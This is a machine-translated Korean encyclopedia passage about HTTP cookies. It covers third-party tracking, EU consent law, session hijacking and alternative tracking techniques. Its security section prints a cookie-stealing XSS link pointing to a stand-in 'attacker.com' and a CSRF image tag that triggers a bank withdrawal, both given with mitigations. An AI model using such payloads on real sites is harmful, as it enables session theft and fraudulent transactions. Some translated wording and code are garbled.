쿠키는 웹 사용자의 사생활과 익명성에 중요한 영향을 미칩니다.쿠키를 설정하는 서버 또는 동일한 인터넷 도메인에 있는 서버로만 전송되는 반면 웹 페이지에는 다른 도메인의 서버에 저장된 이미지 또는 기타 구성요소가 포함될 수 있습니다.이러한 구성 요소를 검색하는 동안 설정된 쿠키를 타사 쿠키라고 합니다.오래된 쿠키 규격인 RFC 2109 및 RFC 2965에서는 브라우저가 사용자의 프라이버시를 보호하고 기본적으로 서버 간의 쿠키 공유를 허용하지 않도록 규정되어 있습니다.단, 새로운 표준인 RFC 6265에서는 사용자 에이전트가 원하는 서드파티 쿠키 정책을 구현할 수 있습니다.Mozilla Firefox, Internet Explorer, Opera 및 Google Chrome과 같은 대부분의 브라우저는 타사 웹 사이트에 압축 개인 정보 보호 정책이 게시되어 있는 한 기본적으로 타사 쿠키를 허용합니다.새 버전의 Safari는 타사 쿠키를 차단하며, 이는 Mozilla Firefox에도 계획되어 있습니다(원래 버전 22로 계획되었지만 [67]무기한 연기됨).

이 가상의 예에서는 한 광고 회사가 두 개의 웹사이트에 배너를 배치했습니다.광고회사는 배너 이미지를 서버에서 호스팅하고 서드파티 쿠키를 사용함으로써 이들 2개 사이트에서 사용자의 브라우징을 추적할 수 있습니다.

광고 회사는 타사 쿠키를 사용하여 여러 사이트에 걸쳐 사용자를 추적합니다.특히 광고 회사는 광고 이미지나 웹 버그를 배치한 모든 페이지에서 사용자를 추적할 수 있습니다.사용자가 방문한 페이지에 대한 지식이 있으면 광고 회사는 사용자가 추정하는 선호도에 대한 광고를 대상으로 할 수 있습니다.

타사 쿠키 사용을 소비자에게 공개하지 않는 웹사이트 운영자는 쿠키 사용이 적발될 경우 소비자 신뢰를 해칠 위험이 있습니다.(프라이버시 정책 등) 명확한 공개가 있으면 이러한 [68]cookie 검출의 부정적인 영향이 배제되는 경향이 있습니다.

특히 서드파티 쿠키를 사용하여 여러 도메인에 걸쳐 추적이 이루어지는 경우 사용자의 프로파일을 작성할 가능성이 있습니다.이러한 이유로 일부 국가에서는 쿠키에 대한 법률이 있습니다.

미국 정부는 2000년 백악관 마약정책실이 온라인 마약광고를 보고 있는 컴퓨터 사용자들을 추적하기 위해 쿠키를 사용했다는 사실이 알려지면서 쿠키 설정에 대한 엄격한 규칙을 정했다.2002년 사생활 보호 활동가 다니엘 브랜트는 CIA가 웹사이트를 방문한 컴퓨터에 지속적인 쿠키를 남겨두고 있다는 것을 발견했다.정책을 위반하고 있다는 통보를 받았을 때 CIA는 이 쿠키들이 의도적으로 설정된 것이 아니라 설정을 중단했다고 밝혔다.2005년 12월 25일, Brandt는 NSA(National Security Agency)가 소프트웨어 업그레이드로 인해 방문자의 컴퓨터에 2개의 영구 쿠키를 남겨두고 있음을 발견했습니다.통지를 받은 후,[69] NSA는 즉시 쿠키를 비활성화 시켰다.

EU 쿠키 디렉티브

2002년에 유럽연합은 최종 사용자의 쿠키 배치에 대한 동의를 필요로 하는 정책인 프라이버시 및 전자통신에 관한 지침(e-프라이버시 지침)과 사용자 [70][71]기기에 대한 정보를 저장하고 액세스하기 위한 유사한 기술을 시작했습니다.특히, 제5조 제3항은 기술적으로 불필요한 데이터를 사용자의 컴퓨터에 저장하는 것은 사용자가 해당 데이터의 사용방법에 대한 정보를 제공받고, 사용자가 이 저장작업을 거부할 수 있는 경우에만 할 수 있도록 규정하고 있다.이 지침에서는 사용자가 요청한 서비스 제공에 필요한 쿠키 사용(설정 유지, 로그인 세션 저장, 사용자의 쇼핑 바구니에 [72]있는 내용 기억 등)을 사용자에게 승인하거나 통지할 것을 요구하지 않습니다.

2009년, 이 법은 지침 2009/136/EC에 의해 개정되었으며, 여기에는 제5조 제3항의 변경이 포함되었다.개정된 지침에서는 사용자가 쿠키 저장소에서 탈퇴할 수 있는 옵션이 있는 대신 쿠키 [71]저장에 대한 동의를 얻어야 합니다.동의의 정의는 유럽 데이터 보호법의 정의와 상호 참조된다. 첫째, 데이터 보호 지침 1995와 그 다음으로는 일반 데이터 보호 규정(GDPR)이다.GPR 본문에서 동의의 정의가 강화됨에 따라, 쿠키 등의 정보를 사용자 기기에 저장 및 접속할 때 필요한 동의의 질이 향상되는 효과가 있었다.그러나 데이터 보호 지령에 따라 결정된 사건에서 유럽연합의 사법재판소는 나중에 이전 법이 현행 [73]문서와 동일한 강력한 동의 품질을 의미함을 확인하였다.사용자의 단말기에 정보를 저장하거나 액세스하는 과정에서 발생하는 동의의 필요성 외에도, 많은 쿠키에 포함된 정보는 GPR에서만 개인 데이터로 간주되며 법적 근거가 필요합니다.1995년 개인 데이터의 동일한 정의를 사용한 Data Protection Directive(데이터 보호 지령) 이후 이 상황이 지속되어 왔지만, 해석 리사이틀 30의 GPR에서는 쿠키 식별자가 포함됨을 명확히 하고 있습니다.GPR에 따른 모든 데이터 처리에 동의가 필요한 것은 아니지만, 행동 광고의 특징은 다른 어떤 [74][75]근거에서도 정당화가 어렵거나 불가능하다는 것을 의미합니다.

GPR과 e-Privacy Directive의 조합에 따른 동의는 [76]쿠키와 관련된 여러 조건을 충족해야 합니다.데이터 보호 지침[73] 1995와 GPR(Recial 32)[77]에 따라 사전 선택 상자가 금지되었습니다.GPR은 동의가 '제공하는 것만큼 철회하기 쉬워야 한다'[77]고 명시하고 있습니다. 즉, Reject-all 버튼은 '모두 승인' [76]버튼만큼 클릭 및 가시성 측면에서 접근하기 쉬워야 합니다.구체적이고 충분한 정보가 있어야 하며, 이는 동의가 이 데이터의 사용을 위한 특정 목적과 관련된다는 것을 의미하며, 이 동의서를 사용하고자 하는 모든 조직의 이름을 [78][79]구체적으로 지정해야 한다.유럽 연합 사법 재판소는 또한 동의가 '효율적이고 시기적절하게' 이루어져야 한다고 판결했다. 즉,[80] 동의는 쿠키가 만들어지고 데이터 처리가 시작되기 전에 얻어져야 한다는 것을 의미한다.

업계의 반응은 대체로 부정적이다.로펌 Speechly Bircham의 Robert Bond는 그 효과를 "모든 영국 회사"에게 "원방적이고 믿을 수 없을 정도로 부담스럽다"고 묘사했다.Privacy International의 Simon Davis는 적절한 집행은 "[81]산업 전체를 파괴할 것"이라고 주장한다.그러나 학자들은 쿠키 팝업의 부담스러운 특성은 GPR과 [74]호환되지 않을 수 있는 복잡한 요청을 통해 비즈니스 모델을 계속 운영하려는 시도에서 비롯된다고 지적합니다.

학술연구와 규제기관 모두 광범위한 법 위반을 설명하고 있다.10,000개의 영국 웹사이트를 스크랩한 연구에 따르면, 11.8%의 사이트만이 최소한의 법적 요건을 준수하고 있으며, 조사 대상 웹사이트의 33.[76]4%만이 쿠키를 받아들이는 것만큼 사용하기 쉬운 메커니즘을 제공하고 있는 것으로 나타났습니다.17,000개의 웹사이트를 조사한 결과, 84%의 사이트가 이 기준을 위반했으며,[82] 추가로 많은 사이트들이 아무런 통지 없이 서드파티 쿠키를 배포한 것으로 나타났습니다.영국 규제기관인 정보위원실은 2019년 광고 기술 그룹인 인터랙티브 광고국이 업계의 '투명성과 동의 프레임워크'를 '문제의 개인 데이터의 투명성과 공정한 처리를 보장하기에 불충분하고, 따라서 무료로 제공하기에 불충분하다'고 밝혔다.PECR [e-Privacy][78] 준거에 대한 참석자의 암시를 포함한 사전동의.컴플라이언스 솔루션(Consent Management Platforms)을 판매하는 많은 기업은 명백히 불법적인 방법으로 솔루션을 구성할 수 있도록 허용하고 있으며,[83] 이에 따라 학자들은 책임의 적절한 할당에 대해 의문을 제기하고 있습니다.

서버가 프라이버시 정책을 브라우저에 전달하기 위해 P3P라고 불리는 W3C 사양이 제안되어 사용자가 설정할 수 있는 자동 처리가 가능하게 되었습니다.그러나 이 사양을 구현하는 웹사이트는 거의 없으며 주요 브라우저도 지원하지 않으며 W3C는 이 사양에 [84]대한 작업을 중단했습니다.

서드파티제의 쿠키는 대부분의 브라우저에서 차단할 수 있기 때문에 프라이버시를 높이고 광고 및 추적 회사의 추적을 줄일 수 있으며 모든 사이트의 사용자 웹 환경에 부정적인 영향을 미치지 않습니다.일부 사이트에서는 'cookie walls'를 운영하고 있습니다.이 경우 브라우저에서 기술적으로 쿠키를 허용하거나 'accept'를 누르거나 둘 [85]다에 접속하는 것이 조건입니다.2020년, 모든 EU 데이터 보호 규제 기관으로 구성된 유럽 데이터 보호 이사회는 쿠키 벽이 불법이라고 발표했습니다.

자유롭게 동의하기 위해서는 사용자의 단말장치(이른바 쿠키월)[86]에 정보를 저장하거나 이미 저장된 정보에 대한 접근을 얻는 것에 대한 사용자의 동의를 조건으로 서비스 및 기능에 대한 접근을 해서는 안 됩니다.

많은 광고 오퍼레이터는 행동광고에 대한 옵트아웃옵션을 가지고 있습니다.브라우저의 범용 쿠키가 행동광고를 [87][88]정지합니다.단, 브라우저가 서드파티 쿠키를 [89][90]차단하는 영향을 피하기 위해 인기가 높아지고 있는 퍼스트파티 추적 등 다양한 형태의 추적에 대해서는 효과가 없는 경우가 많습니다.게다가 그러한 설정이 추적의 수용보다 더 어려운 경우, 그것은 여전히 전자 프라이버시 [76]지침의 조건에 위반됩니다.

쿠키 도난 및 세션 하이잭

웹 사용자를 식별하는 다른 방법에는 제한과 취약성이 있기 때문에 대부분의 웹 사이트는 쿠키를 사용자 세션의 유일한 식별자로 사용합니다.웹 사이트가 쿠키를 세션 식별자로 사용하는 경우 공격자는 전체 피해자의 쿠키 집합을 도용하여 사용자의 요청을 가장할 수 있습니다.웹 서버의 관점에서 공격자의 요청은 공격 대상자의 요청과 동일한 인증을 가지므로 공격 대상자의 세션을 대신하여 요청이 수행됩니다.

사용자 식별을 위해 HTTP 쿠키에만 의존하는 웹 사이트에서 작동하는 쿠키 도용 및 사용자 세션 하이잭(사용자 쿠키를 도용하지 않아도 됨)

네트워크 도청

네트워크에서 읽을 수 있는 다른 컴퓨터에 의해 쿠키가 도난당할 수 있습니다.

네트워크상의 트래픽은, 송신측과 수신측 이외의 네트워크상의 컴퓨터(특히 암호화되어 있지 않은 오픈 Wi-Fi 경유)에 의해서 대행 수신 및 판독할 수 있습니다.이 트래픽에는 암호화되지 않은 일반 HTTP 세션에서 전송된 쿠키가 포함됩니다.따라서 네트워크트래픽이 암호화되지 않은 경우 공격자는 중간자 공격을 목적으로 네트워크상의 다른 사용자의 통신(HTTP cookie 등) 및 대화 내용 전체를 읽을 수 있습니다.

공격자는 가로챈 쿠키를 사용하여 사용자를 가장하고 피해자의 은행 계좌에서 돈을 송금하는 등의 악의적인 작업을 수행할 수 있습니다.

이 문제는 사용자의 컴퓨터와 서버 간의 통신을 보호하여 연결을 암호화함으로써 해결할 수 있습니다.서버는, 다음의 항목을 지정할 수 있습니다.Secure이 플래그를 지정하면 브라우저는 TLS [49]연결 등의 암호화된 채널을 통해서만 쿠키를 전송합니다.

잘못된 하위 도메인 게시: DNS 캐시 포이즈닝

공격자가 DNS 서버가 조작된 DNS 항목(DNS 캐시 포이즈닝이라고 함)을 캐시할 수 있는 경우 공격자는 사용자의 쿠키에 액세스할 수 있습니다.예를 들어 공격자는 DNS 캐시 포이즈닝을 사용하여 다음과 같은 조작 DNS 엔트리를 작성할 수 있습니다.f12345.www.example.com공격자 서버의 IP 주소를 가리킵니다.그런 다음 공격자는 자신의 서버에서 이미지 URL을 게시할 수 있습니다(예:http://f12345.www.example.com/img_4_cookie.jpg공격자의 메시지를 읽은 희생자는 이 이미지를f12345.www.example.com.부터f12345.www.example.com의 서브 도메인입니다.www.example.com희생자의 브라우저는 모든 정보를example.com- 공격자 서버에 대한 관련 쿠키입니다.

공격자가 이를 달성할 수 있는 경우 일반적으로 DNS 서버를 제대로 보호하지 못한 것은 인터넷서비스 공급자의 잘못입니다.그러나 대상 웹 사이트가 보안 쿠키를 사용하는 경우 이 공격의 심각도를 줄일 수 있습니다.이 경우 보안 쿠키는 암호화된 연결을 통해서만 전송될 수 있으므로 공격자는 인증 기관으로부터 대상 웹 사이트의 TLS 인증서를 얻어야 합니다[91].일치하는 TLS 인증서가 없으면 공격 대상자의 브라우저에 공격자의 잘못된 인증서에 대한 경고 메시지가 표시되므로 사용자가 공격자의 사기성 웹 사이트를 방문하여 공격자에게 쿠키를 보내는 것을 방지할 수 있습니다.

사이트 간 스크립팅: cookie 도난

주요 기사:사이트 간 스크립팅

또한 사이트 간 스크립팅이라는 기술을 사용하여 쿠키를 도난당할 수도 있습니다.이 문제는 공격자가 필터링되지 않은 HTML 및 JavaScript 콘텐츠를 사용자가 게시할 수 있는 웹 사이트를 이용할 때 발생합니다.공격자는 악의적인 HTML 및 JavaScript 코드를 게시함으로써 공격 대상자의 웹 브라우저가 공격 대상자의 쿠키를 공격 대상자가 제어하는 웹 사이트로 보내도록 할 수 있습니다.

예를 들어 공격자는 에 메시지를 게시할 수 있습니다.www.example.com다음 링크와 함께 합니다.

<a href="#" onclick="disp.location" = 'http://attacker.com/stole.cgi?text=' + escape(scape.disp); false 반환;'여기를 클릭!</a>
사이트 간 스크립팅: 서버와 클라이언트 간에만 교환되어야 하는 쿠키가 다른 당사자에게 전송됩니다.

다른 사용자가 이 링크를 클릭하면 브라우저는 이 링크 내의 코드를 실행합니다.onclickAtribute에 의해 문자열이 치환됩니다.document.cookie현재 페이지에서 액세스할 수 있는 쿠키 목록을 표시합니다.그 결과, 이 쿠키 목록은attacker.com서버.공격자의 악의적인 게시물이 HTTPS 웹 사이트에 있는 경우https://www.example.com시큐어 쿠키도, attacker.com 에 플레인 텍스트로 송신됩니다.

이러한 악성코드를 걸러내는 것은 웹사이트 개발자의 책임이다.

이러한 공격은 Http Only cookie를 사용하여 완화할 수 있습니다.이러한 쿠키는 JavaScript와 같은 클라이언트 측 스크립팅 언어에서는 액세스할 수 없으므로 공격자는 이러한 쿠키를 수집할 수 없습니다.

사이트 간 스크립팅: 프록시 요청

많은 브라우저의 이전 버전에서는 XMLHttpRequest API 구현에 보안상의 결함이 있었습니다.이 API를 사용하면 페이지에서 응답을 받을 프록시 서버를 지정할 수 있으며, 이 프록시 서버는 동일한 원본 정책의 적용을 받지 않습니다.예를 들어, 피해자가 공격자의 게시물을 읽고 있는 경우www.example.com공격자의 스크립트는 공격 대상자의 브라우저에서 실행됩니다.이 스크립트는 다음 요청을 생성합니다.www.example.com프록시 서버 사용attacker.com이 요청은 다음에 대한 것이므로www.example.com,모든.example.com쿠키는 요청과 함께 전송되지만 공격자의 프록시 서버를 통해 라우팅됩니다.따라서 공격자는 희생자의 쿠키를 수집할 수 있습니다.

이 공격은 HTTPS 접속을 통해서만 전송이 가능하며 HTTPS 프로토콜은 엔드 투 엔드 암호화를 지시하기 때문에 시큐어 쿠키에서는 동작하지 않습니다(즉, 정보는 사용자의 브라우저에서 암호화되고 대상 서버에서 복호화됩니다).이 경우 프록시 서버는 HTTP 요청의 암호화된 원시 바이트만 확인합니다.

사이트 간 요청 위조

주요 기사:사이트 간 요청 위조

예를 들어, Bob은 다른 사용자 Mallory가 메시지를 게시한 채팅 포럼을 참조하고 있을 수 있습니다.Mallory가 (이미지 파일이 아닌) Bob의 웹 사이트의 액션을 참조하는 HTML 이미지 요소를 조작했다고 가정합니다.

<img> src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

Bob의 은행이 인증 정보를 쿠키에 보관하고 쿠키가 만료되지 않은 경우, Bob의 브라우저가 이미지를 로드하려고 하면 Bob의 쿠키와 함께 인출 양식을 제출하여 Bob의 승인 없이 거래를 승인합니다.

쿠키재킹

쿠키재킹은 Internet Explorer에 대한 공격입니다.이를 통해 공격자는 사용자를 [92]속여 화면을 가로질러 개체를 끌도록 하여 사용자의 세션 쿠키를 훔칠 수 있습니다.Microsoft는 "필요한 사용자 상호 작용 수준"[92]과 쿠키를 [93]도난당한 웹 사이트에 사용자가 이미 로그인해야 하기 때문에 이 결함을 위험이 낮다고 간주했습니다.그럼에도 불구하고 한 연구원이 페이스북 친구 150명을 공격해 사회공학을 [92]통해 80명의 쿠키를 입수했다.

쿠키의 결점

사생활에 대한 우려 외에도 쿠키에는 몇 가지 기술적 단점도 있습니다.특히 사용자를 항상 정확하게 식별하는 것은 아니며 보안 공격에 사용할 수 있으며 Representational State Transfer(REST; 대표 상태 전송) 소프트웨어 아키텍처 [94][95]스타일과 상충되는 경우가 많습니다.

부정확한 식별

컴퓨터에서 두 개 이상의 브라우저를 사용하는 경우 일반적으로 각 브라우저에는 쿠키를 위한 별도의 저장 영역이 있습니다.따라서 쿠키는 개인을 식별하는 것이 아니라 사용자 계정, 컴퓨터 및 웹 브라우저의 조합을 식별합니다.따라서 여러 계정, 컴퓨터 또는 브라우저를 사용하는 모든 사용자는 여러 [96]쿠키 세트를 가지고 있습니다.

마찬가지로 쿠키는 동일한 사용자 계정, 컴퓨터 및 브라우저를 공유하는 여러 사용자를 구분하지 않습니다.

클라이언트와 서버의 상태가 일치하지 않음

쿠키를 사용하면 클라이언트 상태와 쿠키에 저장된 상태 간에 불일치가 발생할 수 있습니다.사용자가 쿠키를 획득한 후 브라우저의 "뒤로" 단추를 클릭하면 일반적으로 브라우저의 상태가 이전과 같지 않습니다.예를 들어 온라인 상점의 쇼핑 카트가 쿠키를 사용하여 작성된 경우 사용자가 브라우저 이력으로 돌아가도 카트 내용이 변경되지 않을 수 있습니다.사용자가 쇼핑 카트에 아이템을 추가하기 위해 버튼을 누른 후 "뒤로" 버튼을 클릭하면 해당 아이템은 쇼핑 카트에 그대로 남아 있습니다.이것은 아이템의 추가를 취소하려는 사용자의 의도가 아닐 수 있습니다.이로 인해 신뢰성, 혼란 및 버그가 발생할 수 있습니다.따라서 웹 개발자는 이 문제를 인식하고 이러한 상황에 대처하기 위한 조치를 실행해야 합니다.

쿠키 대체품

쿠키를 사용하여 수행할 수 있는 작업 중 일부는 다른 메커니즘을 사용하여 수행할 수도 있습니다.

JSON 웹 토큰

JSON Web Token(JWT)은 사용자 ID 및 인증 정보를 저장하기 위해 사용할 수 있는 자기 완결형 정보 패킷입니다.이를 통해 세션 쿠키 대신 사용할 수 있습니다.브라우저에 의해 각 HTTP 요청에 자동으로 부가되는 쿠키와 달리 JWT는 웹 응용 프로그램에 의해 각 HTTP 요청에 명시적으로 부가되어야 합니다.

HTTP 인증

HTTP 프로토콜에는 사용자가 올바른 사용자 이름과 암호를 제공한 경우에만 웹 페이지에 액세스할 수 있는 기본 액세스 인증 및 다이제스트 액세스 인증 프로토콜이 포함됩니다.서버가 웹 페이지에 대한 액세스 권한을 부여하기 위해 이러한 자격 정보를 필요로 하는 경우 브라우저는 해당 자격 정보를 사용자에게 요구하고, 취득한 후에는 후속 페이지 요청마다 해당 자격 정보를 저장하여 전송합니다.이 정보를 사용하여 사용자를 추적할 수 있습니다.

IP 주소

일부 사용자는 페이지를 요청하는 컴퓨터의 IP 주소에 따라 추적될 수 있습니다.서버는 브라우저를 실행하고 있는 컴퓨터의 IP 주소(또는 프록시(사용되고 있는 경우는 프록시)를 인식하고 있기 때문에 이론적으로는 사용자의 세션을 이 IP 주소에 링크할 수 있습니다.

단, 일반적으로 IP 주소는 세션을 추적하거나 사용자를 식별하는 신뢰할 수 있는 방법이 아닙니다.사무실 PC나 가정용 PC와 같이 한 명의 사용자가 사용하도록 설계된 많은 컴퓨터가 네트워크 주소 변환기(NAT)의 배후에 있습니다.이것은, 복수의 PC가 퍼블릭 IP 주소를 공유하는 것을 의미합니다.또한 Tor와 같은 일부 시스템은 인터넷 익명성을 유지하도록 설계되어 있어 IP 주소에 의한 추적은 실용적이지 않거나 불가능하거나 보안 위험을 초래합니다.

URL(쿼리 문자열)

보다 정확한 기술은 URL에 정보를 내장하는 것을 기반으로 합니다.URL의 쿼리 문자열 부분은 일반적으로 이 목적으로 사용되는 부분이지만 다른 부분도 사용할 수 있습니다.Java Servlet 및 PHP 세션 메커니즘은 쿠키가 활성화되지 않은 경우 모두 이 방법을 사용합니다.

이 메서드는 웹 페이지 내의 모든 링크에 고유한 세션 ID를 포함하는 쿼리 문자열을 추가하는 웹 서버로 구성됩니다.사용자가 링크를 따라가면 브라우저는 쿼리 문자열을 서버로 전송하여 서버가 사용자를 식별하고 상태를 유지할 수 있도록 합니다.

이러한 종류의 쿼리 문자열은 서버에 의해 선택된 임의의 정보를 포함하며 요청 시 서버에 반환된다는 점에서 쿠키와 매우 유사합니다.하지만 몇 가지 차이점이 있다.쿼리 문자열은 URL의 일부이므로 나중에 해당 URL을 재사용할 경우 동일한 첨부 정보가 서버로 전송되므로 혼동이 발생할 수 있습니다.예를 들어 사용자의 프리퍼런스가 URL 쿼리 문자열로 인코딩되어 사용자가 이 URL을 다른 사용자에게 이메일로 전송하면 해당 프리퍼런스는 다른 사용자에게도 사용됩니다.

또, 같은 유저가 같은 페이지에 다른 소스로부터 복수 액세스 했을 경우, 그 때마다 같은 쿼리 스트링이 사용되는 것은 보증되지 않습니다.예를 들어 사용자가 첫 번째 사이트 내부 페이지에서 페이지를 방문한 후 두 번째 외부 검색 엔진에서 동일한 페이지를 방문하면 쿼리 문자열이 다를 수 있습니다.이 상황에서 쿠키를 사용해도 쿠키가 동일합니다.

쿼리 문자열의 다른 단점은 보안과 관련이 있습니다.쿼리 문자열에 세션을 식별하는 데이터를 저장하면 세션 고정 공격, 참조자 로깅 공격 및 기타 보안 공격이 가능합니다.세션 식별자를 HTTP 쿠키로 전송하는 것이 더 안전합니다.

숨김 양식 필드

세션 추적의 또 다른 형태는 숨김 필드가 있는 웹 양식을 사용하는 것입니다.이 기술은 URL 쿼리 문자열을 사용하여 정보를 유지하는 것과 매우 유사하며 많은 장점과 단점을 가지고 있습니다.실제로 폼이 HTTP GET 방식으로 처리되는 경우 GET 메서드는 폼필드를 쿼리 문자열로 URL에 추가하기 때문에 이 기술은 URL 쿼리 문자열을 사용하는 것과 비슷합니다.그러나 대부분의 폼은 HTTP POST로 처리됩니다.이것에 의해, 숨김 필드를 포함한 폼 정보가 HTTP 요구 본문으로 송신됩니다.HTTP 요구 본문은 URL 또는 쿠키의 일부가 아닙니다.

이 접근 방식은 트래커의 관점에서 두 가지 이점을 제공합니다.우선 트래킹 정보가 URL이 아닌 HTTP 요구 본문에 배치되어 있으면 일반 사용자에게는 인식되지 않습니다.둘째, 사용자가 URL을 복사할 때(예를 들어 페이지를 북마크하거나 이메일로 보내기 위해) 세션 정보가 복사되지 않습니다.

"window.name" DOM 속성

현재의 모든 웹 브라우저는 DOM 속성을 사용하여 JavaScript를 통해 상당히 많은 데이터(2-32MB)를 저장할 수 있습니다.window.name이 데이터는 세션 쿠키 대신 사용할 수 있으며 교차 도메인이기도 합니다.이 기술은 JSON/JavaScript 개체와 결합하여 클라이언트 측에 복잡한 세션 변수 집합을 저장할 수 있습니다.

단점은 모든 개별 창 또는 탭이 처음에는 비어 있다는 것입니다.window.name속성을 엽니다.게다가 이 자산은 다른 웹사이트에서 방문자를 추적하는데 사용될 수 있기 때문에 인터넷 사생활이 우려된다.

어떤 점에서는 cookie와 같이 모든 요구에 대해 cookie의 내용이 자동으로 서버로 전송되지 않기 때문에 cookie보다 더 안전할 수 있습니다.따라서 네트워크 cookie 스니핑 공격에 취약하지 않습니다.그러나 데이터를 보호하기 위한 특별한 조치가 취해지지 않으면 동일한 창이나 탭에 열려 있는 서로 다른 웹 사이트에서 데이터를 사용할 수 있기 때문에 다른 공격에 취약합니다.

광고주 식별자

애플은 "Identifier for Advertisers"(IDFA)라고 불리는 추적 기술을 사용합니다.이 기술은 Apple iOS 장치(iPhone이나 iPad 등)를 구입하는 모든 사용자에게 고유한 식별자를 할당합니다.이 식별자는 애플의 광고 네트워크인 iAd에 의해 개인이 보고 [97]반응하는 광고를 결정하기 위해 사용됩니다.

ETAG

주요 기사: HTTP ETAG © ETags를 사용한 추적

ETAG는 브라우저에 의해 캐시되어 동일한 리소스에 대한 후속 요구와 함께 반환되므로 트래킹서버는 단순히 브라우저로부터 수신된 모든 ETAG를 반복하여 할당된ETAG가 (영속적인 쿠키와 같은 방법으로) 무기한 유지되도록 할 수 있습니다.추가 캐싱 헤더필드를 사용하면 ETAG 데이터의 보존성도 향상됩니다.

일부 브라우저에서는 브라우저 캐시를 클리어하여 ETAG를 플래시할 수 있습니다.

웹 스토리지

주요 기사:웹 스토리지

일부 웹 브라우저는 나중에 사용하기 위해 페이지가 정보를 로컬로 저장할 수 있는 지속성 메커니즘을 지원합니다.

HTML5 표준(대부분의 최신 웹 브라우저가 어느 정도 지원하고 있음)에는 웹 스토리지라고 불리는 JavaScript API가 포함되어 있어 로컬 스토리지와 세션 스토리지라는 두 가지 유형의 스토리지를 허용합니다.세션 스토리지는 세션 [98]쿠키와 같은 전체 브라우저 세션이 아닌 개별 탭/창의 수명(페이지 세션 AKA)에 연결되어 있다는 점을 제외하고 세션 스토리지는 세션 쿠키와 유사하게 작동합니다.

Internet Explorer는 브라우저 이력, 브라우저 즐겨찾기, XML 스토어("사용자 데이터") 또는 디스크에 저장된 웹 페이지 내에서 영속적인[99] 정보를 지원합니다.

일부 웹 브라우저 플러그인에는 지속성 메커니즘도 포함되어 있습니다.예를 들어 Adobe Flash에는 로컬 공유 개체가 있고 Microsoft Silverlight에는 Isolated [100]스토리지가 있습니다.

브라우저 캐시

주요 기사:웹 캐시

브라우저 캐시는 개별 사용자를 추적하는 데 사용할 수 있는 정보를 저장하는 데도 사용할 수 있습니다.이 기술은 웹 브라우저가 캐시에 이미 최신 버전의 리소스가 있다고 판단될 때 웹 사이트에서 다운로드하는 대신 캐시에 저장된 리소스를 사용한다는 사실을 활용합니다.

예를 들어 웹 사이트는 사용자의 고유 식별자를 설정하는 코드를 사용하여 JavaScript 파일을 제공할 수 있습니다(예:var userId = 3243242;사용자가 처음 방문한 후 사용자가 페이지에 액세스할 때마다 이 파일은 서버에서 다운로드되는 대신 캐시에서 로드됩니다.그러므로 그 내용은 절대 변하지 않을 것이다.

브라우저 지문

주요 기사:디바이스 지문

브라우저 핑거 프린트는 버전 번호, 화면 해상도, 운영 체제 등 식별을 위해 브라우저 구성에 대해 수집된 정보입니다.지문을 사용하여 쿠키가 꺼진 경우에도 개별 사용자 또는 장치를 완전히 또는 부분적으로 식별할 수 있습니다.

기본적인 웹 브라우저 구성 정보는 실제 사람의 웹 트래픽을 정확하게 측정하고 다양한 형태의 클릭 사기를 줄이기 위해 웹 분석 서비스에 의해 오랫동안 수집되어 왔습니다.클라이언트측 스크립팅 언어를 사용하면 훨씬 더 난해한 파라미터를 수집할 [101][102]수 있습니다.이러한 정보를 1개의 문자열로 동화하는 것은 디바이스 지문을 구성합니다.2010년에 EFF는 브라우저 지문 [103]채취에서 가능한 엔트로피를 최소 18.1비트로 측정했습니다.더 최근의 기술인 캔버스 지문 채취는 5.7비트를 추가한다고 주장합니다.

「 」를 참조해 주세요.

레퍼런스

  1. ^ "What are cookies? What are the differences between them (session vs. persistent)?". Cisco. 17 July 2018. 117925.
  2. ^ a b Vamosi, Robert (14 April 2008). "Gmail cookie stolen via Google Spreadsheets". News.cnet.com. Archived from the original on 9 December 2013. Retrieved 19 October 2017.
  3. ^ "What about the "EU Cookie Directive"?". WebCookies.org. 2013. Archived from the original on 11 October 2017. Retrieved 19 October 2017.
  4. ^ "New net rules set to make cookies crumble". BBC. 8 March 2011. Archived from the original on 10 August 2018. Retrieved 21 June 2018.
  5. ^ "Sen. Rockefeller: Get Ready for a Real Do-Not-Track Bill for Online Advertising". Adage.com. 6 May 2011. Archived from the original on 24 August 2011. Retrieved 2 June 2011.
  6. ^ "Where cookie comes from :: DominoPower". dominopower.com. Archived from the original on 19 October 2017. Retrieved 19 October 2017.
  7. ^ Raymond, Eric (ed.). "magic cookie". The Jargon File (version 4.4.7). Archived from the original on 6 September 2017. Retrieved 8 September 2017.
  8. ^ "Why are internet cookies called cookies?".
  9. ^ Schwartz, John (4 September 2001). "Giving Web a Memory Cost Its Users Privacy". The New York Times. Archived from the original on 18 November 2011. Retrieved 19 February 2017.
  10. ^ a b Kesan, Jey, 및 Shah, Rajiv, Deconstructing Code Archived 2018-08-19 at Archive-It, SSRN.com, II장.B(Netscape의 쿠키), 예일 법학 및 기술 저널, 6, 277–389
  11. ^ a b Kristol, David; HTTP 쿠키: 표준, 프라이버시 및 정치, ACM Transactions on Internet Technology, 1(2), 151–1901, 2001 doi:10.1145/502152.502153 (확장판은 [https://web.archive.org/web/20140716051321/http:/arxiv.org/abs/cs.SE/0105018 Archived 2014-07-16 at the Wayback Machine arxivcs/0105018v1cs]에서 무료로 구할 수 있습니다).SE ] ] ）
  12. ^ "Press Release: Netscape Communications Offers New Network Navigator Free On The Internet". Archived from the original on 7 December 2006. Retrieved 22 May 2010.
  13. ^ "Usenet Post by Marc Andreessen: Here it is, world!". 13 October 1994. Archived from the original on 27 April 2011. Retrieved 22 May 2010.
  14. ^ Kristol, David M. (November 2001). "HTTP Cookies". ACM Transactions on Internet Technology. 1 (2): 151–198. arXiv:cs/0105018. doi:10.1145/502152.502153. ISSN 1533-5399. S2CID 1848140.
  15. ^ US 5774670, Montuli, Lou, "하이퍼텍스트 전송 프로토콜 기반 클라이언트 서버 시스템의 영구 클라이언트 상태", 1998-06-30 발행, Netscape Communications Corporation에 할당.
  16. ^ Hardmeier, Sandi (25 August 2005). "The history of Internet Explorer". Microsoft. Archived from the original on 1 October 2005. Retrieved 4 January 2009.
  17. ^ Jackson, T (12 February 1996). "This Bug in Your PC is a Smart Cookie". Financial Times.
  18. ^ "Rfc2109".
  19. ^ "Setting Cookies". staff.washington.edu. 19 June 2009. Archived from the original on 16 March 2017. Retrieved 15 March 2017.
